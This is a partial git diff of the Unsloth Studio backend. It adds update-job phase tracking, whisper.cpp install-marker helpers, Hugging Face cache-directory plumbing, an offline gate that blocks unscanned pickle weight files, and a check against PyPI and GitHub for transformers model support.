+            job["phases"][name].update(state = PHASE_RUNNING, progress = 0.0)
+
+        def set_progress(
+            fraction: float,
+            *,
+            _name: str = name,
+            _base: float = offset,
+            _slice: float = weight,
+        ) -> None:
+            f = max(0.0, min(float(fraction), 1.0))
+            with job_lock:
+                record = job["phases"][_name]
+                record["progress"] = max(record.get("progress") or 0.0, f)
+                job["progress"] = max(job.get("progress") or 0.0, _base + f * _slice)
+
+        try:
+            result = phase["run"](set_progress) or {}
+        except Exception as exc:
+            failure = phase.get("failure_message") or f"{name} update failed."
+            with job_lock:
+                job["phases"][name].update(state = PHASE_ERROR, error = str(exc))
+                for later in phases[index + 1 :]:
+                    if later.get("run") is not None:
+                        job["phases"][later["name"]].update(state = PHASE_SKIPPED, reason = "aborted")
+                # A partial success keeps its messages and reload_required so the
+                # caller sees the earlier phase did land.
+                job.update(
+                    state = JOB_ERROR,
+                    message = " ".join(done_messages + [failure]),
+                    to_tag = primary_to_tag,
+                    error = str(exc),
+                    finished_at = utcnow(),
+                )
+                if done_messages:
+                    job["reload_required"] = reload_required
+            return
+        set_progress(1.0)
+        offset += weight
+        with job_lock:
+            job["phases"][name].update(
+                state = PHASE_SUCCESS,
+                to_tag = result.get("to_tag"),
+                reload_required = result.get("reload_required"),
+                message = result.get("message") or "",
+            )
+        if result.get("message"):
+            done_messages.append(result["message"])
+        # Only phases affecting the primary (llama) server may raise the job-level
+        # reload flag: the frontend resyncs chat model state off it, and a
+        # whisper-only sidecar reload must not clear the chat checkpoint. Per-phase
+        # reload_required stays visible under job["phases"].
+        if phase.get("affects_job_reload", True):
+            reload_required = reload_required or bool(result.get("reload_required"))
+            # The legacy job-level to_tag means "the llama build now installed";
+            # a whisper-only round must leave it unset or the UI reports a llama
+            # update that never ran (per-phase to_tag remains under phases).
+            if primary_to_tag is None:
+                primary_to_tag = result.get("to_tag")
+
+    with job_lock:
+        job.update(
+            state = JOB_SUCCESS,
+            message = " ".join(done_messages) or "Already up to date.",
+            to_tag = primary_to_tag,
+            reload_required = reload_required,
+            error = None,
+            progress = 1.0,
+            finished_at = utcnow(),
+        )
diff --git a/studio/backend/utils/prebuilt/whisper_layout.py b/studio/backend/utils/prebuilt/whisper_layout.py
new file mode 100644
index 0000000000..7444e4e707
--- /dev/null
+++ b/studio/backend/utils/prebuilt/whisper_layout.py
@@ -0,0 +1,74 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Canonical whisper.cpp install-root and marker lookup helpers."""
+
+from __future__ import annotations
+
+import json
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Optional
+
+MARKER_NAME = "UNSLOTH_WHISPER_PREBUILT_INFO.json"
+
+
+@dataclass(frozen = True)
+class MarkerLookup:
+    marker: Optional[dict]
+    root: Optional[Path]
+    authoritative: bool
+    invalid: bool = False
+    slim_collision: bool = False
+
+
+def canonical_install_root(binary_path: Optional[str]) -> Optional[Path]:
+    """Return the managed root for the two supported CMake binary layouts."""
+    if not binary_path:
+        return None
+    parent = Path(binary_path).parent
+    if parent.name == "bin" and parent.parent.name == "build":
+        return parent.parent.parent
+    if (
+        parent.name == "Release"
+        and parent.parent.name == "bin"
+        and parent.parent.parent.name == "build"
+    ):
+        return parent.parent.parent.parent
+    return None
+
+
+def _parse_marker(path: Path) -> tuple[Optional[dict], bool]:
+    try:
+        payload = json.loads(path.read_text(encoding = "utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return None, True
+    return (payload, False) if isinstance(payload, dict) else (None, True)
+
+
+def lookup_marker(binary_path: Optional[str]) -> MarkerLookup:
+    """Prefer the install-root marker over archive metadata beside the binary."""
+    if not binary_path:
+        return MarkerLookup(None, None, False)
+    binary = Path(binary_path)
+    root = canonical_install_root(binary_path)
+    inner_marker = binary.parent / MARKER_NAME
+    inner_payload, _ = _parse_marker(inner_marker) if inner_marker.is_file() else (None, False)
+    slim_collision = bool(
+        inner_payload
+        and (inner_payload.get("install_kind") == "slim" or inner_payload.get("backend") == "slim")
+    )
+    if root is not None:
+        root_marker = root / MARKER_NAME
+        if root_marker.is_file():
+            marker, invalid = _parse_marker(root_marker)
+            return MarkerLookup(marker, root, True, invalid, slim_collision)
+        if slim_collision:
+            return MarkerLookup(None, root, False, True, True)
+
+    for parent in binary.parents[:5]:
+        candidate = parent / MARKER_NAME
+        if candidate.is_file():
+            marker, invalid = _parse_marker(candidate)
+            return MarkerLookup(marker, parent, False, invalid, slim_collision)
+    return MarkerLookup(None, None, False)
diff --git a/studio/backend/utils/preview_rate_limit.py b/studio/backend/utils/preview_rate_limit.py
index dd38cfd5e7..c59a1bf5b3 100644
--- a/studio/backend/utils/preview_rate_limit.py
+++ b/studio/backend/utils/preview_rate_limit.py
@@ -5,7 +5,7 @@
 
 A signed link stops ref guessing, but anyone with a link can still drive GPU
 generation. This bounds sustained abuse from a single source. In-process and
-single-worker only (like the login limiter in ``routes/auth.py``); Studio runs as
+single-worker only (like the login limiter in ``routes/auth.py``); Unsloth runs as
 one uvicorn process, so a shared store isn't needed.
 """
 
diff --git a/studio/backend/utils/process_lifetime.py b/studio/backend/utils/process_lifetime.py
index 3ffd54cc26..c63227ae86 100644
--- a/studio/backend/utils/process_lifetime.py
+++ b/studio/backend/utils/process_lifetime.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Bind Studio child processes to the parent's lifetime so none survive an
+"""Bind Unsloth child processes to the parent's lifetime so none survive an
 abnormal parent exit (terminal-window close, Task Manager "End Task", SIGKILL,
 crash) -- the cooperative shutdown path only runs on graceful exits.
 
@@ -139,7 +139,7 @@ def _install_windows_job() -> None:
             kernel32.CloseHandle(job)
             return
         # AssignProcessToJobObject(parent) makes children inherit the job. May
-        # fail if Studio already runs inside an incompatible host job (pre-Win8);
+        # fail if Unsloth already runs inside an incompatible host job (pre-Win8);
         # degrade to the cooperative path rather than blocking startup.
         if not kernel32.AssignProcessToJobObject(job, kernel32.GetCurrentProcess()):
             kernel32.CloseHandle(job)
diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py
index b36131f809..fad52f21bb 100644
--- a/studio/backend/utils/security/consent.py
+++ b/studio/backend/utils/security/consent.py
@@ -147,11 +147,17 @@ def _load_remote_code_configs(model_name: str, hf_token: Optional[str] = None) -
 
         from huggingface_hub import hf_hub_download
         from huggingface_hub.utils import EntryNotFoundError
+        from utils.hf_cache_settings import active_hf_hub_cache
 
         configs = []
         for name in _REMOTE_CODE_CONFIG_FILES:
             try:
-                p = hf_hub_download(repo_id = model_name, filename = name, token = hf_token)
+                p = hf_hub_download(
+                    repo_id = model_name,
+                    filename = name,
+                    token = hf_token,
+                    cache_dir = active_hf_hub_cache(),
+                )
             except EntryNotFoundError:
                 continue  # genuine 404 -> truly absent
             except Exception:
diff --git a/studio/backend/utils/security/file_security.py b/studio/backend/utils/security/file_security.py
index 466f326f18..91d7ad8f0e 100644
--- a/studio/backend/utils/security/file_security.py
+++ b/studio/backend/utils/security/file_security.py
@@ -29,13 +29,35 @@ Policy:
     scanned so a repo cannot dodge the gate by suffixing its name.
 """
 
+import re
 from dataclasses import dataclass, field
+from pathlib import Path
 from typing import Optional
 
 from loggers import get_logger
 
 logger = get_logger(__name__)
 
+# Pickle-format weight files (plain or sharded) that execute code on load; safetensors/gguf
+# are inert. Grouped by weight family so an inert safetensors only suppresses the pickle it
+# actually replaces: the loader won't use an adapter's safetensors for pytorch_model.bin.
+_PICKLE_WEIGHT_RE = re.compile(
+    r"^(model|pytorch_model|adapter_model|consolidated)(-\d+-of-\d+)?"
+    r"\.(bin|pt|pth|ckpt|pkl|pickle)$",
+    re.IGNORECASE,
+)
+# Base-model safetensors set: HF names the base pickle pytorch_model.bin but the safetensors
+# model.safetensors (stems differ), so a base pickle is replaced only by these, not an adapter's.
+_BASE_SAFETENSORS_RE = re.compile(
+    r"^(model(-\d+-of-\d+)?\.safetensors|model\.safetensors\.index\.json)$",
+    re.IGNORECASE,
+)
+# Adapter (PEFT) safetensors set: adapter_model.safetensors, its shards, or index.
+_ADAPTER_SAFETENSORS_RE = re.compile(
+    r"^(adapter_model(-\d+-of-\d+)?\.safetensors|adapter_model\.safetensors\.index\.json)$",
+    re.IGNORECASE,
+)
+
 # Non-blocking levels: clean or not-yet-finished. Anything else (unsafe/suspicious/
 # malicious or a future label) blocks, so Hub schema drift fails CLOSED.
 _NONBLOCKING_LEVELS = frozenset(
@@ -136,6 +158,7 @@ def _indexed_shard_paths(
     try:
         from huggingface_hub import hf_hub_download
         from huggingface_hub.utils import EntryNotFoundError
+        from utils.hf_cache_settings import active_hf_hub_cache
     except Exception:
         return None
 
@@ -144,7 +167,12 @@ def _indexed_shard_paths(
     for prefix in _index_prefixes(load_subdirs):
         for filename in _TRANSFORMERS_INDEX_FILES:
             try:
-                index_path = hf_hub_download(model_name, prefix + filename, token = hf_token or None)
+                index_path = hf_hub_download(
+                    model_name,
+                    prefix + filename,
+                    token = hf_token or None,
+                    cache_dir = active_hf_hub_cache(),
+                )
             except EntryNotFoundError:
                 continue  # definitively absent, not an error
             except Exception:
@@ -265,11 +293,105 @@ def _fetch_security_status(model_name: str, hf_token: Optional[str]):
     return None
 
 
+def _st_load_roots(snapshot: Path) -> list:
+    """Directories a SentenceTransformer load deserializes weights from: the snapshot root plus
+    each module path in modules.json. Local, no network. Mirrors the online gate (which ignores
+    unreferenced nested pickles ST never loads) so the offline gate doesn't over-block."""
+    roots = [snapshot]
+    try:
+        import json
+        modules = json.loads((snapshot / "modules.json").read_text())
+    except (OSError, ValueError):
+        return roots  # no / invalid modules.json -> snapshot root is the only load root
+    for module in modules or ():
+        path = str((module or {}).get("path", "")).strip().strip("/")
+        # Relative module path only; ignore a crafted "../" escape.
+        if path and ".." not in path.split("/"):
+            candidate = snapshot / path
+            if candidate not in roots:
+                roots.append(candidate)
+    return roots
+
+
+def _cached_pickle_weight_files(snapshot: Path) -> list:
+    """Pickle weight files in snapshot's ST load roots, EXCLUDING those whose weight family also
+    ships an inert safetensors in the same dir (the loader prefers it): a base pickle is suppressed
+    only by a base model.safetensors, an adapter pickle only by adapter_model.safetensors -- an
+    unrelated safetensors is no substitute. Load roots only. Raises OSError if the snapshot root is
+    unreadable (caller blocks)."""
+    blocked = []
+    for root in _st_load_roots(snapshot):
+        try:
+            entries = [p for p in root.iterdir() if p.is_file()]
+        except OSError:
+            if root == snapshot:
+                raise  # top-level unreadable -> fail closed
+            continue  # unreadable module subdir: nothing loadable to attest here
+        has_base_safetensors = any(_BASE_SAFETENSORS_RE.match(p.name) for p in entries)
+        has_adapter_safetensors = any(_ADAPTER_SAFETENSORS_RE.match(p.name) for p in entries)
+        for path in entries:
+            if not _PICKLE_WEIGHT_RE.match(path.name):
+                continue
+            is_adapter = path.name.lower().startswith("adapter_model")
+            has_alternative = has_adapter_safetensors if is_adapter else has_base_safetensors
+            if not has_alternative:
+                blocked.append(path)
+    return blocked
+
+
+def _evaluate_local_only(model_name: str) -> FileSecurityDecision:
+    """Offline security gate. The Hub scan is unreachable, so inspect the local cache and fail
+    CLOSED on an unscanned pickle weight with no inert safetensors alternative, rather than
+    failing open or hanging. Safetensors/gguf-only cache loads; nothing cached -> allowed."""
+    from utils.utils import hf_cache_snapshot_dir
+
+    try:
+        snapshot = hf_cache_snapshot_dir(model_name)
+    except Exception:
+        logger.warning("Offline gate: could not resolve the cache for '%s'; blocking.", model_name)
+        return FileSecurityDecision(
+            model_name, True, reason = "offline; could not inspect the local cache"
+        )
+
+    if snapshot is None:
+        return FileSecurityDecision(model_name, False, reason = "offline; nothing cached to load")
+
+    try:
+        pickles = _cached_pickle_weight_files(snapshot)
+    except OSError:
+        logger.warning("Offline gate: could not read the cache for '%s'; blocking.", model_name)
+        return FileSecurityDecision(
+            model_name, True, reason = "offline; could not read the local cache"
+        )
+
+    if not pickles:
+        return FileSecurityDecision(
+            model_name, False, reason = "offline; cached weights are inert (safetensors/gguf)"
+        )
+
+    # Snapshot-relative posix paths (match the online gate; disambiguate same-named pickles).
+    rel_paths = sorted(p.relative_to(snapshot).as_posix() for p in pickles)
+    names = ", ".join(rel_paths)
+    logger.warning(
+        "Blocking offline load of '%s': cached pickle weight(s) cannot be malware-scanned "
+        "offline and have no safetensors alternative (%s).",
+        model_name,
+        names,
+    )
+    return FileSecurityDecision(
+        model_name,
+        True,
+        unsafe_files = [{"path": rel, "level": "unscanned"} for rel in rel_paths],
+        reason = f"offline; unscanned pickle weights with no safetensors alternative: {names}",
+    )
+
+
 def evaluate_file_security(
     model_name: str,
     hf_token: Optional[str] = None,
     *,
     load_subdirs = (),
+    local_only_load: bool = False,
 ) -> FileSecurityDecision:
     """Block a load when HF's security scan flags unsafe serialized files.
 
@@ -280,6 +402,9 @@ def evaluate_file_security(
     ``load_subdirs`` names subdirs the load calls ``from_pretrained`` on (e.g. ``("LLM",)``
     for Spark-TTS / BiCodec, loading ``<snapshot>/LLM``): a flagged file directly under one
     is root-level there and blocks, and an index inside it is honored when scoping shards.
+
+    ``local_only_load`` marks an offline load: with the Hub scan unreachable, inspect the local
+    cache and fail CLOSED on an unscanned pickle weight with no safetensors alternative.
     """
     # Scan the repo the load actually fetches, not the literal alias (which 404s and
     # fails open): the Spark-TTS "<parent>/LLM" alias is really unsloth/<parent> from LLM/.
@@ -295,6 +420,10 @@ def evaluate_file_security(
         # Cannot classify the path -> do not block on that account.
         return FileSecurityDecision(model_name, False, reason = "path check failed; not blocked")
 
+    # Offline: inspect the local cache and fail closed rather than hang on model_info or fail open.
+    if local_only_load:
+        return _evaluate_local_only(model_name)
+
     status = _fetch_security_status(model_name, hf_token)
     if not isinstance(status, dict):
         return FileSecurityDecision(
diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py
index 797e1056f8..583dac94b6 100644
--- a/studio/backend/utils/security/remote_code_scan.py
+++ b/studio/backend/utils/security/remote_code_scan.py
@@ -29,6 +29,7 @@ from dataclasses import dataclass, field
 from typing import Optional
 
 from loggers import get_logger
+from utils.hf_cache_settings import active_hf_hub_cache
 
 logger = get_logger(__name__)
 
@@ -455,7 +456,12 @@ def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> d
         refs = set()
         for cfg_name in REMOTE_CODE_CONFIG_FILES:
             try:
-                cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token)
+                cfg_path = hf_hub_download(
+                    model_name,
+                    cfg_name,
+                    token = hf_token,
+                    cache_dir = active_hf_hub_cache(),
+                )
             except EntryNotFoundError:
                 continue
             except Exception as exc:
@@ -499,7 +505,12 @@ def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> d
         wanted = present_py | (own_refs & repo_file_set)
         for fn in sorted(wanted):
             try:
-                fp = hf_hub_download(model_name, fn, token = hf_token)
+                fp = hf_hub_download(
+                    model_name,
+                    fn,
+                    token = hf_token,
+                    cache_dir = active_hf_hub_cache(),
+                )
             except Exception as exc:
                 # A .py CONFIRMED PRESENT could not be fetched. A partial set would
                 # fingerprint "clean" while transformers later runs this file, so fail
@@ -602,7 +613,12 @@ def external_auto_map_repos(model_name: str, hf_token: Optional[str] = None) ->
 
         for cfg_name in REMOTE_CODE_CONFIG_FILES:
             try:
-                cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token)
+                cfg_path = hf_hub_download(
+                    model_name,
+                    cfg_name,
+                    token = hf_token,
+                    cache_dir = active_hf_hub_cache(),
+                )
             except EntryNotFoundError:
                 continue
             except Exception:
@@ -670,7 +686,12 @@ def _add_external_refs(files: dict, refs, hf_token, model_name: str) -> bool:
             wanted = present_py | set(entry_files)
         for fn in sorted(wanted):
             try:
-                fp = hf_hub_download(repo, fn, token = hf_token)
+                fp = hf_hub_download(
+                    repo,
+                    fn,
+                    token = hf_token,
+                    cache_dir = active_hf_hub_cache(),
+                )
             except Exception as exc:
                 logger.warning(
                     "repo_remote_code_files(%s): external %s:%s unscannable (%s)",
diff --git a/studio/backend/utils/studio_version.py b/studio/backend/utils/studio_version.py
index 9c18070fbb..82ade74bba 100644
--- a/studio/backend/utils/studio_version.py
+++ b/studio/backend/utils/studio_version.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Network-free Studio release version resolution for display-only UI."""
+"""Network-free Unsloth release version resolution for display-only UI."""
 
 from __future__ import annotations
 
@@ -20,7 +20,7 @@ _MAX_VERSION_LENGTH = 64
 
 
 def is_valid_studio_release_version(value: object) -> bool:
-    """Return True for Studio release tags such as ``v0.1.39-beta``."""
+    """Return True for Unsloth release tags such as ``v0.1.39-beta``."""
     if not isinstance(value, str):
         return False
     version = value.strip()
@@ -102,7 +102,7 @@ def _git_branch(repo_root: Path) -> str | None:
 
 
 def get_studio_version(repo_root: Path | None = None) -> str:
-    """Return the installed Studio release tag for display, or ``dev``.
+    """Return the installed Unsloth release tag for display, or ``dev``.
 
     Intentionally separate from the PyPI ``unsloth`` package version used by
     update checks. Never performs network requests.
diff --git a/studio/backend/utils/training_runs.py b/studio/backend/utils/training_runs.py
index dc2535e570..dcdfa1395d 100644
--- a/studio/backend/utils/training_runs.py
+++ b/studio/backend/utils/training_runs.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Helpers for naming and describing Studio training runs."""
+"""Helpers for naming and describing Unsloth training runs."""
 
 from __future__ import annotations
 
diff --git a/studio/backend/utils/transformers_dtype.py b/studio/backend/utils/transformers_dtype.py
new file mode 100644
index 0000000000..daeb6e2452
--- /dev/null
+++ b/studio/backend/utils/transformers_dtype.py
@@ -0,0 +1,51 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Version-safe fp-dtype kwarg for transformers/sentence-transformers loads.
+
+transformers renamed the ``torch_dtype`` kwarg to ``dtype`` in 4.56.0, and emits
+``torch_dtype is deprecated! Use dtype instead!`` when the old name is passed. But our floor (``transformers>=4.51.3``) predates ``dtype`` and only
+accepts ``torch_dtype``, so a bare rename would ``TypeError`` on the floor. Pick
+the name the installed version accepts instead.
+
+Answers the same question as ``unsloth_zoo.hf_utils.HAS_TORCH_DTYPE`` but derives
+it independently, for two reasons. It uses a ``packaging.version`` check rather
+than that constant's ``"torch_dtype" in PretrainedConfig.__doc__`` sniffing, which
+raises ``TypeError`` under ``python -OO`` / ``PYTHONOPTIMIZE=2`` (docstrings are
+stripped to ``None``, and ``"torch_dtype" in None`` is a type error). And it avoids
+importing the constant at all: the RAG
+embedder warms here at startup in the lean main process, and reading it would run
+``unsloth_zoo``'s package ``__init__`` (torch import, GPU/Pytorch checks, the
+patching banner) as a side effect. The embedder is deliberately torch-optional (it
+degrades to the ``llama-server`` GGUF backend), so it must not drag in that
+heavyweight import just to read one bool.
+"""
+
+from functools import lru_cache
+
+
+@lru_cache(maxsize = 1)
+def _has_torch_dtype_kwarg() -> bool:
+    """True if the installed transformers still expects the legacy ``torch_dtype``
+    name (i.e. predates the ``dtype`` rename). False when ``dtype`` is the accepted
+    name, or when transformers is missing/broken (prefer the modern name)."""
+    try:
+        import transformers
+        from packaging.version import Version
+
+        # Compare on the release tuple so a pre-release of the rename version
+        # (``4.56.0.dev0``/``rc1``, which sort *below* ``4.56.0``) still counts as
+        # new and picks ``dtype`` -- those builds already accept it, and picking
+        # ``torch_dtype`` there would re-emit the very warning this suppresses.
+        return Version(transformers.__version__).release < (4, 56, 0)
+    except Exception:
+        return False
+
+
+def dtype_kwargs(value) -> dict:
+    """``{"torch_dtype": value}`` on old transformers, ``{"dtype": value}`` on new.
+
+    Splat into a load call (``pipeline(..., **dtype_kwargs(torch.float16))``) or use
+    directly as ``model_kwargs`` (``model_kwargs = dtype_kwargs("float16")``).
+    """
+    return {"torch_dtype" if _has_torch_dtype_kwarg() else "dtype": value}
diff --git a/studio/backend/utils/transformers_latest.py b/studio/backend/utils/transformers_latest.py
new file mode 100644
index 0000000000..9f1d11be5b
--- /dev/null
+++ b/studio/backend/utils/transformers_latest.py
@@ -0,0 +1,607 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Latest-transformers support check for brand-new model architectures.
+
+When a model's ``model_type`` is absent from every installed transformers overlay
+(base 4.57.x plus the .venv_t5_530/550/510 sidecars and, if provisioned, .venv_t5_latest),
+Unsloth cannot load it today. This module answers, without authentication, code execution,
+or trust_remote_code:
+
+  1. Does the LATEST transformers release on PyPI ship this ``model_type``?
+  2. Does transformers ``main`` on GitHub ship it (dev-only, not yet installable)?
+
+Sources (all unauthenticated; raw.githubusercontent.com is not API rate-limited and
+api.github.com is deliberately never used):
+  - https://pypi.org/pypi/transformers/json                       -> latest release version
+  - https://raw.githubusercontent.com/huggingface/transformers/{ref}/src/transformers/
+        models/auto/configuration_auto.py + auto_mappings.py      -> CONFIG_MAPPING_NAMES
+
+The fetched sources are parsed with the same AST extractor the static router uses
+(:func:`utils.transformers_version._model_types_from_source`), so the remote answer is
+computed exactly like the local overlay answer.
+
+Results are cached in memory and in a small JSON snapshot under ``studio_root()/cache``
+(ttl ~1 day) so repeated tier resolutions never re-fetch; failures are backed off in
+memory. Every fetch is bounded (<=5s, one retry), so a hung network cannot block model
+loading. Fully offline-safe: offline env vars or the kill switch
+``UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS=1`` make every check return None (current
+behavior preserved).
+
+The consented install path (:func:`install_latest_transformers`) provisions the
+persistent ``.venv_t5_latest`` sidecar via
+:func:`utils.transformers_version.ensure_latest_transformers_venv`.
+"""
+
+import json
+import os
+import threading
+import time
+from pathlib import Path
+
+from loggers import get_logger
+from utils.paths.storage_roots import studio_root as _studio_root
+from utils.transformers_version import (
+    _env_offline,
+    _load_config_json,
+    _model_types_from_source,
+    _tier_from_config_mapping,
+    _config_model_types,
+    _NESTED_CONFIG_KEYS,
+    _TIER_RANK,
+    _model_types_from_config,
+    _TRANSFORMERS_510_MODEL_TYPES,
+    _TRANSFORMERS_530_MODEL_TYPES,
+    _TRANSFORMERS_550_MODEL_TYPES,
+    ensure_latest_transformers_venv,
+    latest_venv_pinned_version,
+)
+
+logger = get_logger(__name__)
+
+_PYPI_JSON_URL = "https://pypi.org/pypi/transformers/json"
+_RAW_URL = (
+    "https://raw.githubusercontent.com/huggingface/transformers/{ref}"
+    "/src/transformers/models/auto/{name}"
+)
+_AUTO_FILES = ("configuration_auto.py", "auto_mappings.py")
+
+_FETCH_TIMEOUT_SECONDS = 5.0
+_FETCH_RETRIES = 1
+_CACHE_TTL_SECONDS = 24 * 60 * 60
+_FAILURE_BACKOFF_SECONDS = 300
+
+_CACHE_FILE_NAME = "transformers_latest_check.json"
+_SNAPSHOT_SCHEMA = 1
+
+# Snapshot: {"schema", "fetched_at", "pypi_version", "pypi_model_types", "main_model_types"}.
+# Install-in-progress state lives in utils.transformers_version (the sidecar swap reservation).
+_lock = threading.Lock()
+_memory_snapshot: dict | None = None
+_last_failure_at: float = 0.0
+_is_fetching: bool = False
+
+_TRUE_VALUES = {"1", "true", "yes", "on"}
+
+
+def _disabled() -> bool:
+    """True if the operator disabled the latest-transformers check entirely."""
+    return (
+        os.environ.get("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "").strip().lower() in _TRUE_VALUES
+    )
+
+
+def _cache_file() -> Path:
+    return _studio_root() / "cache" / _CACHE_FILE_NAME
+
+
+# Sentinel for HTTP 404 (absent at ref), distinct from transient failures.
+_FETCH_MISSING = "__unsloth_fetch_missing__"
+
+
+def _fetch_text(url: str) -> str | None:
+    """GET *url* with a bounded timeout and one retry; None on any failure.
+
+    Returns ``_FETCH_MISSING`` (without retrying) on HTTP 404 so callers can tell
+    "absent at this ref" apart from "network flaked".
+    """
+    import urllib.error
+    import urllib.request
+
+    for attempt in range(1 + _FETCH_RETRIES):
+        try:
+            req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-studio"})
+            with urllib.request.urlopen(req, timeout = _FETCH_TIMEOUT_SECONDS) as resp:
+                return resp.read().decode("utf-8", "replace")
+        except urllib.error.HTTPError as exc:
+            if exc.code == 404:
+                return _FETCH_MISSING
+            logger.debug("Fetch failed (attempt %d) for %s: %s", attempt + 1, url, exc)
+        except Exception as exc:
+            logger.debug("Fetch failed (attempt %d) for %s: %s", attempt + 1, url, exc)
+    return None
+
+
+def _fetch_latest_pypi_version() -> str | None:
+    """Latest transformers release version from PyPI's unauthenticated JSON API."""
+    body = _fetch_text(_PYPI_JSON_URL)
+    if body is None or body == _FETCH_MISSING:
+        return None
+    try:
+        version = json.loads(body).get("info", {}).get("version")
+    except Exception as exc:
+        logger.debug("Could not parse PyPI JSON: %s", exc)
+        return None
+    return version if isinstance(version, str) and version else None
+
+
+def _fetch_remote_model_types(ref: str) -> frozenset[str] | None:
+    """CONFIG_MAPPING_NAMES keys at *ref* (a release tag like ``v5.12.0`` or ``main``).
+
+    Fetches configuration_auto.py plus auto_mappings.py (the 5.10+ split) from
+    raw.githubusercontent.com and parses them with the shared AST extractor. A file
+    that 404s (auto_mappings.py on pre-5.10 tags) is skipped, but a transient fetch
+    or parse failure of EITHER file fails the whole lookup: most model types live in
+    auto_mappings.py on current releases, so a partial map cached for the TTL would
+    make /validate skip the upgrade prompt for architectures the release does ship.
+    An empty result is likewise a failure so it is never cached as "supports nothing".
+    """
+    keys: set[str] = set()
+    fetched_any = False
+    for name in _AUTO_FILES:
+        source = _fetch_text(_RAW_URL.format(ref = ref, name = name))
+        if source is None:
+            return None
+        if source == _FETCH_MISSING:
+            continue
+        fetched_any = True
+        try:
+            keys |= _model_types_from_source(source)
+        except Exception as exc:
+            logger.debug("Could not parse %s at %s: %s", name, ref, exc)
+            return None
+    if not fetched_any or not keys:
+        return None
+    return frozenset(keys)
+
+
+def _load_snapshot_file() -> dict | None:
+    """Persisted snapshot from disk, or None (missing/corrupt/old schema)."""
+    try:
+        with open(_cache_file(), encoding = "utf-8") as f:
+            data = json.load(f)
+    except Exception:
+        return None
+    if not isinstance(data, dict) or data.get("schema") != _SNAPSHOT_SCHEMA:
+        return None
+    if not isinstance(data.get("fetched_at"), (int, float)):
+        return None
+    if not isinstance(data.get("pypi_version"), str):
+        return None
+    for key in ("pypi_model_types", "main_model_types"):
+        value = data.get(key)
+        if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
+            return None
+    return data
+
+
+def _save_snapshot_file(snapshot: dict) -> None:
+    """Atomic best-effort write (tmp + os.replace, Windows-safe); failures only log."""
+    path = _cache_file()
+    tmp = path.with_name(path.name + ".tmp")
+    try:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        tmp.write_text(json.dumps(snapshot), encoding = "utf-8")
+        os.replace(tmp, path)
+    except Exception as exc:
+        logger.debug("Could not persist %s: %s", path, exc)
+        try:
+            tmp.unlink(missing_ok = True)
+        except Exception:
+            pass
+
+
+def _snapshot_is_fresh(snapshot: dict | None) -> bool:
+    return (
+        snapshot is not None
+        and (time.time() - float(snapshot.get("fetched_at", 0))) < _CACHE_TTL_SECONDS
+    )
+
+
+def _refresh_snapshot() -> dict | None:
+    """Fetch a fresh snapshot from PyPI + raw.githubusercontent.com; None on failure.
+
+    The PyPI version and its tagged mapping are required; the ``main`` mapping is
+    best-effort (recorded as an empty list plus ``main_checked=False`` when unavailable,
+    so a dev-only architecture is reported as "unknown" rather than "unsupported").
+    """
+    version = _fetch_latest_pypi_version()
+    if version is None:
+        return None
+    pypi_types = _fetch_remote_model_types(f"v{version}")
+    if pypi_types is None:
+        return None
+    main_types = _fetch_remote_model_types("main")
+    return {
+        "schema": _SNAPSHOT_SCHEMA,
+        "fetched_at": time.time(),
+        "pypi_version": version,
+        "pypi_model_types": sorted(pypi_types),
+        "main_model_types": sorted(main_types) if main_types is not None else [],
+        "main_checked": main_types is not None,
+    }
+
+
+def _get_snapshot() -> dict | None:
+    """Current support snapshot: memory -> disk -> network, with TTL and failure backoff.
+
+    The network refresh runs outside the lock so a slow fetch cannot stall other
+    threads in the ASGI pool; _is_fetching deduplicates concurrent refreshes
+    (losers return None, the graceful fallthrough, rather than waiting).
+    """
+    global _memory_snapshot, _last_failure_at, _is_fetching
+    with _lock:
+        if _snapshot_is_fresh(_memory_snapshot):
+            return _memory_snapshot
+        disk = _load_snapshot_file()
+        if _snapshot_is_fresh(disk):
+            _memory_snapshot = disk
+            return disk
+        if _disabled() or _env_offline():
+            return None
+        if time.time() - _last_failure_at < _FAILURE_BACKOFF_SECONDS:
+            return None
+        if _is_fetching:
+            return None
+        _is_fetching = True
+    fresh = None
+    try:
+        fresh = _refresh_snapshot()
+    finally:
+        with _lock:
+            _is_fetching = False
+            if fresh is None:
+                _last_failure_at = time.time()
+            else:
+                _memory_snapshot = fresh
+    if fresh is None:
+        # A stale positive could offer a version PyPI no longer serves; be strict.
+        return None
+    _save_snapshot_file(fresh)
+    return fresh
+
+
+def clear_caches() -> None:
+    """Test helper: drop the in-memory snapshot, failure backoff, and busy flags."""
+    global _memory_snapshot, _last_failure_at, _is_fetching
+    with _lock:
+        _memory_snapshot = None
+        _last_failure_at = 0.0
+        _is_fetching = False
+    from utils.transformers_version import end_sidecar_swap
+
+    end_sidecar_swap()
+
+
